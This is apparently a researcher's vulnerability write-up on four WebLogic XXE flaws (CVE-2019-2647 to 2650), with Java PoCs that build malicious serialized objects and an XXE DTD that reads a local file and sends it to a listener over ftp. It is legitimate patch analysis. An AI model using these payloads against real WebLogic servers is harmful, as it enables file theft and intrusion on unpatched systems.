WebLogic CVE-2019-2647, CVE-2019-2648, CVE-2019-2649, CVE-2019-2650 XXE Vulnerability Analysis
Author:Longofo@Knownsec 404 Team
Chinese version: https://paper.seebug.org/906/
Oracle released an update patch in April,see this link(https://www.oracle.com/technetwork/security-advisory/cpuapr2019-5072813.html
@xxlegend analyze one of the XXE vulnerability points in his blog, and given PoC. For the purpose of learning, I try to analyze the XXE of several other points and given my PoC. The following analysis I try to describe my own thinking and the construction of my PoC. During the analysis, I meet some difficulties, even my solution seems stupid in some cases, but that doesn't matter. Thanks to the 404 team partner @Badcode who helped me in the recurrence and analysis, I might spend more than half of the time in the environment build if without his support.
Find The Vulnerability Point
According to Java common XXE defense code(referencehttps://blog.spoock.com/2018/10/23/java-xxe/), by comparing patches,I found the new patch to perform the setFeature
operation in the following places:
May be the corresponding four CVE, the ForeignRecoveryContext
@xxlegend has been analyzed, and I will not analyze in here. The following is mainly the analysis of the other three points
Analysis Environment
- Windows 10
- WebLogic 10.3.6.0
- Jdk160_29(JDK version that comes with WebLogic 10.3.6.0)
WsrmServerPayloadContext Vulnerability Analysis
The code after the repair of WsrmServerPayloadContext
:
package weblogic.wsee.reliability;import ...
public class WsrmServerPayloadContext extends WsrmPayloadContext {
public void readExternal(ObjectInput var1) throws IOException, ClassNotFoundException {
...
}
private EndpointReference readEndpt(ObjectInput var1, int var2) throws IOException, ClassNotFoundException {
...
ByteArrayInputStream var15 = new ByteArrayInputStream(var3);
try {
DocumentBuilderFactory var7 = DocumentBuilderFactory.newInstance();
try {
String var8 = "http://xml.org/sax/features/external-general-entities";
var7.setFeature(var8, false);
var8 = "http://xml.org/sax/features/external-parameter-entities";
var7.setFeature(var8, false);
var8 = "http://apache.org/xml/features/nonvalidating/load-external-dtd";
var7.setFeature(var8, false);
var7.setXIncludeAware(false);
var7.setExpandEntityReferences(false);
} catch (Exception var11) {
if (verbose) {
Verbose.log("Failed to set factory:" + var11);
}
}
...
}
}
The setFeature
operation is performed to prevent the xxe attack, but the setFeature
operation is not performed before the patch.
readExternal
will be called when deserializing the object, the corresponding writeExternal
will be called when serializing the object, let's look at the logic of writeExternal
:
Var1
is this.formENdpt
, note that var5.serialize
can pass in three types of objects, var1.getEndptElement()
returns the Element
object, let's create a new project to construct the poc:
Project structure(Remember to include all jars under the WebLogic modules
and wlserver_10.3\server\lib
folder to the project):
public class WeblogicXXE1 { public static void main(String[] args) throws IOException {
Object instance = getXXEObject();
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("xxe"));
out.writeObject(instance);
out.flush();
out.close();
}
public static class MyEndpointReference extends EndpointReference {
@Override
public Element getEndptElement() {
super.getEndptElement();
Document doc = null;
Element element = null;
try {
DocumentBuilderFactory dbFactory = DocumentBuilderFactory.newInstance();
DocumentBuilder dbBuilder = dbFactory.newDocumentBuilder();
doc = dbBuilder.parse("test.xml");
element = doc.getDocumentElement();
} catch (Exception e) {
e.printStackTrace();
}
return element;
}
}
public static Object getXXEObject() {
EndpointReference fromEndpt = (EndpointReference) new MyEndpointReference();
EndpointReference faultToEndpt = null;
WsrmServerPayloadContext wspc = new WsrmServerPayloadContext();
try {
Field f1 = wspc.getClass().getDeclaredField("fromEndpt");
f1.setAccessible(true);
f1.set(wspc, fromEndpt);
Field f2 = wspc.getClass().getDeclaredField("faultToEndpt");
f2.setAccessible(true);
f2.set(wspc, faultToEndpt);
} catch (Exception e) {
e.printStackTrace();
}
return wspc;
}
}
The content of test.xml is as follows, my.dtd is empty, we just simply test whether we can receive the request:
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE data SYSTEM "http://127.0.0.1:8000/my.dtd" [
<!ELEMENT data (#PCDATA)>
]>
<data>4</data>
Run PoC, generate the deserialized xxe data, open with hex viewer:
I found DOCTYPE could not be introduced
I tried the following methods:
In the above,
var5.serialize
can pass theDocument
object. I test it, it is OK, but how to makegetEndptElement
return aDocument
object?I tried to create an
EndpointReference
class and modifiedgetEndptElement
to return the Document object, but it can't find the class I created when deserializing, the reason is that the classpackage
I built is different from the original one, so it failedI try to dynamically replace a class method like Python, it seems that Java can't do it...
I tried a violent approach,replacing the class in the Jar package.
First copy the Weblogic
modules
folder and thewlserver_10.3\server\lib
folder to another directory, unzipwlserver_10.3\server\lib\weblogic.jar
, remove theWsrmServerPayloadContext.class
class,then recompress the directory toweblogic.Jar
.Create a new project and include the required Jar file(All the Jar packages in the
modules
andwlserver_10.3\server\lib
folders)Create the same package name as the original, and create a new
WsrmServerPayloadContext.class
class in the package, Copy the original content to modifyWsrmServerPayloadContext.class
modified code:After testing the second way is OK, but slightly more complicated。Then I try to create a new package with the same package name as the original
WsrmServerPayloadContext.class
, and then modify it
This way is also feasible and easier
Construct a new PoC:
public class WeblogicXXE1 { public static void main(String[] args) throws IOException {
Object instance = getXXEObject();
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("xxe"));
out.writeObject(instance);
out.flush();
out.close();
}
public static Object getXXEObject() {
EndpointReference fromEndpt = new EndpointReference();
EndpointReference faultToEndpt = null;
WsrmServerPayloadContext wspc = new WsrmServerPayloadContext();
try {
Field f1 = wspc.getClass().getDeclaredField("fromEndpt");
f1.setAccessible(true);
f1.set(wspc, fromEndpt);
Field f2 = wspc.getClass().getDeclaredField("faultToEndpt");
f2.setAccessible(true);
f2.set(wspc, faultToEndpt);
} catch (Exception e) {
e.printStackTrace();
}
return wspc;
}
}
View hex:
DOCTYPE was written
Send serialized data to WebLogic 7001 port using T3 protocol script:
Nice, after receiving the request, the next step is to try to read file
test.xml content:
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE ANY [
<!ENTITY % file SYSTEM "file:///C:Users/dell/Desktop/test.txt">
<!ENTITY % dtd SYSTEM "http://127.0.0.1:8000/my.dtd">
%dtd;
%send;
]>
<ANY>xxe</ANY>
my.dtd(When using PoC to generate deserialized data, first clear the contents of my.dtd. Otherwise, it will report an error in 'dbBuilder.parse` and cannot generate normal deserialized data. As for why, you can test it and you will known):
<!ENTITY % all"<!ENTITY % send SYSTEM 'ftp://127.0.0.1:2121/%file;'>"
>
%all;
Running PoC to generate deserialized data, but I found that the request could not be received... well, let's look at the hexadecimal:
`%dtd;%send;
is gone...,Probably because of the DOM parser, my.dtd content is empty, data is not referenced。
Try debug:
%dtd;%send;
is actually being processed.
Testing the normal loading of external data, my.dtd
is changed as follows:
<!ENTITY % all"<!ENTITY % send SYSTEM 'http://127.0.0.1:8000/gen.xml'>"
>
%all;
gen.xml:
<?xml version="1.0" encoding="UTF-8"?>
Try debug:
%dtd;%send;
has been replaced by the contents of my.dtd
。when I debug the xml parseing process roughly ,we found an EntityScanner
, it will detect the ENTITY in the xml, and will judge whether the external resource is loaded. If the external resource is loaded, the entity reference will be replaced with the entity declaration content. In other words, the xml data in the deserialized data we constructed has been parsed once, but we need data that has not been parsed, let the target parse the xml data。
So I tried to modify the hex data as follows, making xml data not be parsed:
Runing PoC,
Actually succeeded. I thought that the xml data generated by deserialization would be verified before,otherwise it can't be properly deserialized,but I can modify the hex data directly to work.
UnknownMsgHeader Vulnerability Analysis
Similar to WsrmServerPayloadContext
,The PoC construct is also create a new package and then replace it, I will not analyze it in detail here, I only talk about the construction of PoC.
Create a new UnknownMsgHeader
class and modify writeExternal
PoC:
public class WeblogicXXE2 { public static void main(String[] args) throws IOException {
Object instance = getXXEObject();
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("xxe"));
out.writeObject(instance);
out.flush();
out.close();
}
public static Object getXXEObject() {
QName qname = new QName("a", "b", "c");
Element xmlHeader = null;
UnknownMsgHeader umh = new UnknownMsgHeader();
try {
Field f1 = umh.getClass().getDeclaredField("qname");
f1.setAccessible(true);
f1.set(umh, qname);
Field f2 = umh.getClass().getDeclaredField("xmlHeader");
f2.setAccessible(true);
f2.set(umh, xmlHeader);
} catch (Exception e) {
e.printStackTrace();
}
return umh;
}
}
Runing PoC(Remember that the PoC generation step is the same as the first vulnerability point, You may need to modify the hexadecimal ):
WsrmSequenceContext Vulnerability Analysis
This class seems to need to construct a lot of things, the logic of readExternal
and writeExternal
is also more complicated than the first two, but the PoC structure is easy
Create a new WsrmSequenceContext
class, and modify it
PoC:
public class WeblogicXXE3 { public static void main(String[] args) throws IOException {
Object instance = getXXEObject();
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("xxe"));
out.writeObject(instance);
out.flush();
out.close();
}
public static Object getXXEObject() {
EndpointReference acksTo = new EndpointReference();
WsrmSequenceContext wsc = new WsrmSequenceContext();
try {
Field f1 = wsc.getClass().getDeclaredField("acksTo");
f1.setAccessible(true);
f1.set(wsc, acksTo);
} catch (Exception e) {
e.printStackTrace();
}
return wsc;
}
}
Testing:
Last
Ok, the analysis is complete. The first time I analyzed the Java vulnerability, there are still a lot of deficiencies, but I also learned a lot in the process of analysis. Even if it is a seemingly simple point, if I am not familiar with the feature of Java, it will take a long time to solve some problems. So, go step by step, there is still a lot to learn.
Here is a demo video from xxe to rce, thanks to the demo video provided by superman of Knownsec 404 team.
About Knownsec & 404 Team
Beijing Knownsec Information Technology Co., Ltd. was established by a group of high-profile international security experts. It has over a hundred frontier security talents nationwide as the core security research team to provide long-term internationally advanced network security solutions for the government and enterprises.
Knownsec's specialties include network attack and defense integrated technologies and product R&D under new situations. It provides visualization solutions that meet the world-class security technology standards and enhances the security monitoring, alarm and defense abilities of customer networks with its industry-leading capabilities in cloud computing and big data processing. The company's technical strength is spanly recognized by the State Ministry of Public Security, the Central Government Procurement Center, the Ministry of Industry and Information Technology (MIIT), China National Vulnerability Database of Information Security (CNNVD), the Central Bank, the Hong Kong Jockey Club, Microsoft, Zhejiang Satellite TV and other well-known clients.
404 Team, the core security team of Knownsec, is dedicated to the research of security vulnerability and offensive and defensive technology in the fields of Web, IoT, industrial control, blockchain, etc. 404 team has submitted vulnerability research to many well-known vendors such as Microsoft, Apple, Adobe, Tencent, Alibaba, Baidu, etc. And has received a high reputation in the industry.
The most well-known sharing of Knownsec 404 Team includes: KCon Hacking Conference, Seebug Vulnerability Database and ZoomEye Cyberspace Search Engine.
以上是 WebLogic CVE-2019-2647, CVE-2019-2648, CVE-2019-2649, CVE-2019-2650 XXE Vulnerability Analysis 的全部内容, 来源链接: utcz.com/p/199315.html